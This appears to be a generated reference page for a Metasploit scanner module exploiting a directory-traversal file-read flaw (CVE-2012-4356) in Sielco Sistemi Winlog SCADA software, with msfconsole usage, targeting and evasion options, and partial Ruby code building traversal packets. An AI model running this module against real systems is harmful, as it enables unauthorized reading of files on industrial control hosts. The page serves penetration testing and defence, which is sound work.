Sielco Sistemi Winlog Remote File Access - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/scada/sielco_winlog_fileaccess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

---

Name: Sielco Sistemi Winlog Remote File Access
Module: auxiliary/scanner/scada/sielco_winlog_fileaccess
Source code: modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb
Disclosure date: -
Last modification time: 2018-07-12 17:34:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 46824
List of CVEs: CVE-2012-4356

This module exploits a directory traversal in Sielco Sistemi Winlog. The vulnerability exists in the Runtime.exe service and can be triggered by sending a specially crafted packet to the 46824/TCP port. This module has been successfully tested on Sielco Sistemi Winlog Lite 2.07.14.

Module Ranking and Traits

---

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

---

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/scada/sielco_winlog_fileaccess
msf auxiliary(sielco_winlog_fileaccess) > show options
    ... show and set options ...
msf auxiliary(sielco_winlog_fileaccess) > set RHOSTS ip-range
msf auxiliary(sielco_winlog_fileaccess) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(sielco_winlog_fileaccess) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(sielco_winlog_fileaccess) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(sielco_winlog_fileaccess) > set RHOSTS file:/tmp/ip_list.txt

Required Options

---

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage

---

Here is how the scanner/scada/sielco_winlog_fileaccess auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/scada/sielco_winlog_fileaccess

msf6 auxiliary(scanner/scada/sielco_winlog_fileaccess) > show info

       Name: Sielco Sistemi Winlog Remote File Access
     Module: auxiliary/scanner/scada/sielco_winlog_fileaccess
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Luigi Auriemma
  juan vazquez <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting                      Required  Description
  ----      ---------------                      --------  -----------
  DEPTH     10                                   yes       Traversal depth
  FILEPATH  /WINDOWS/system32/drivers/etc/hosts  yes       The name of the file to download
  RHOSTS                                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     46824                                yes       The target port (TCP)
  THREADS   1                                    yes       The number of concurrent threads (max one per host)

Description:
  This module exploits a directory traversal in Sielco Sistemi Winlog. 
  The vulnerability exists in the Runtime.exe service and can be 
  triggered by sending a specially crafted packet to the 46824/TCP 
  port. This module has been successfully tested on Sielco Sistemi 
  Winlog Lite 2.07.14.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-4356
  OSVDB (83275)
  http://www.securityfocus.com/bid/54212
  https://www.exploit-db.com/exploits/19409
  http://aluigi.altervista.org/adv/winlog_2-adv.txt

Module Options

---

This is a complete list of options available in the scanner/scada/sielco_winlog_fileaccess auxiliary module:

msf6 auxiliary(scanner/scada/sielco_winlog_fileaccess) > show options

Module options (auxiliary/scanner/scada/sielco_winlog_fileaccess):

   Name      Current Setting                      Required  Description
   ----      ---------------                      --------  -----------
   DEPTH     10                                   yes       Traversal depth
   FILEPATH  /WINDOWS/system32/drivers/etc/hosts  yes       The name of the file to download
   RHOSTS                                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     46824                                yes       The target port (TCP)
   THREADS   1                                    yes       The number of concurrent threads (max one per host)

Advanced Options

---

Here is a complete list of advanced options supported by the scanner/scada/sielco_winlog_fileaccess auxiliary module:

msf6 auxiliary(scanner/scada/sielco_winlog_fileaccess) > show advanced

Module advanced options (auxiliary/scanner/scada/sielco_winlog_fileaccess):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

---

This is a list of all auxiliary actions that the scanner/scada/sielco_winlog_fileaccess module can do:

msf6 auxiliary(scanner/scada/sielco_winlog_fileaccess) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

---

Here is the full list of possible evasion options supported by the scanner/scada/sielco_winlog_fileaccess auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/scada/sielco_winlog_fileaccess) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

---

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP>:<RPORT> - Please supply the name of the file you want to download

---

Here is a relevant code snippet related to the "<IP>:<RPORT> - Please supply the name of the file you want to download" error message:

42:	  end
43:	
44:	  def run_host(ip)
45:	    # No point to continue if no filename is specified
46:	    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
47:	      print_error("#{ip}:#{rport} - Please supply the name of the file you want to download")
48:	      return
49:	    end
50:	
51:	    travs = "../" * datastore['DEPTH']
52:	    if datastore['FILEPATH'][0] == "/"

<IP>:<RPORT> - Error opening file

---

Here is a relevant code snippet related to the "<IP>:<RPORT> - Error opening file" error message:

64:	    packet << "\x00"
65:	    sock.put(packet)
66:	    response = sock.get_once(5, 1) || ''
67:	
68:	    if response.unpack("C").first != 0x78
69:	      print_error "#{ip}:#{rport} - Error opening file"
70:	      return
71:	    end
72:	    # The stream allows to identify our file since the
73:	    # server could be handling multiple files simultaneously.
74:	    # Since the stream identifier is just an offset in an array

<IP>:<RPORT> - Error getting the file length

---

Here is a relevant code snippet related to the "<IP>:<RPORT> - Error getting the file length" error message:

83:	    packet << "\x00" * 7
84:	    sock.put(packet)
85:	    response = sock.get_once(5, 1) || ''
86:	
87:	    if response.unpack("C").first != 0x79
88:	      print_error "#{ip}:#{rport} - Error getting the file length"
89:	      return
90:	    end
91:	    file_length = response[1,4].unpack("V").first
92:	
93:	

<IP>:<RPORT> - Error reading the file, anyway we're going to try to finish

---

Here is a relevant code snippet related to the "<IP>:<RPORT> - Error reading the file, anyway we're going to try to finish" error message:

105:	
106:	      while response.length < 0x7ac # Packets of 0x7ac (header (0x9) + block of data (0x7a3))
107:	        response << sock.get_once(0x7ac-response.length, 5) || ''
108:	      end
109:	      if response.unpack("C").first != 0x98
110:	        print_error "#{ip}:#{rport} - Error reading the file, anyway we're going to try to finish"
111:	      end
112:	
113:	      if (file_length - contents.length) < response.length - 9
114:	        contents << response[9, file_length - contents.length] # last packet
115:	      else

<IP>:<RPORT> - Error closing file file, anyway we're going to try to finish

---

Here is a relevant code snippet related to the "<IP>:<RPORT> - Error closing file file, anyway we're going to try to finish" error message:

124:	    packet << "\x7B"
125:	    packet << "\x00" * 11
126:	    sock.put(packet)
127:	    response = sock.get_once(-1, 1) || ''
128:	    if response.unpack("C").first != 0x7B
129:	      print_error "#{ip}:#{rport} - Error closing file file, anyway we're going to try to finish"
130:	    end
131:	
132:	    disconnect
133:	
134:	    print_good "#{ip}:#{rport} - File retrieved successfully!"

Go back to menu.

Related Pull Requests

---

• #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #4412 Merged Pull Request: Resolve #4408 - bad uncaught nil get_once
• #2525 Merged Pull Request: Change module boilerplate
• #670 Merged Pull Request: juan author name updated in modules
• #604 Merged Pull Request: Added module for OSVDB 83275

References

---

• CVE-2012-4356
• OSVDB (83275)
• BID-54212
• EDB-19409
• http://aluigi.altervista.org/adv/winlog_2-adv.txt

See Also

---

Check also the following modules related to this module:

• auxiliary/scanner/scada/bacnet_l3
• auxiliary/scanner/scada/digi_addp_reboot
• auxiliary/scanner/scada/digi_addp_version
• auxiliary/scanner/scada/digi_realport_serialport_scan
• auxiliary/scanner/scada/digi_realport_version
• auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
• auxiliary/scanner/scada/koyo_login
• auxiliary/scanner/scada/modbus_banner_grabbing
• auxiliary/scanner/scada/modbusclient
• auxiliary/scanner/scada/modbusdetect
• auxiliary/scanner/scada/modbus_findunitid
• auxiliary/scanner/scada/moxa_discover
• auxiliary/scanner/scada/pcomclient
• auxiliary/scanner/scada/profinet_siemens
• auxiliary/admin/http/contentkeeper_fileaccess
• auxiliary/admin/webmin/edit_html_fileaccess
• auxiliary/scanner/http/atlassian_crowd_fileaccess
• auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
• auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
• auxiliary/scanner/http/mediawiki_svg_fileaccess
• auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
• auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
• auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
• auxiliary/scanner/misc/easycafe_server_fileaccess
• auxiliary/scanner/misc/zenworks_preboot_fileaccess
• exploit/windows/scada/winlog_runtime
• exploit/windows/scada/winlog_runtime_2

Related Nessus plugins:

• Sielco Sistemi Winlog Arbitrary File Disclosure
• Sielco Sistemi Winlog < 2.07.17 Multiple Vulnerabilities

Authors

---

• Luigi Auriemma
• juan vazquez

Version

---

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.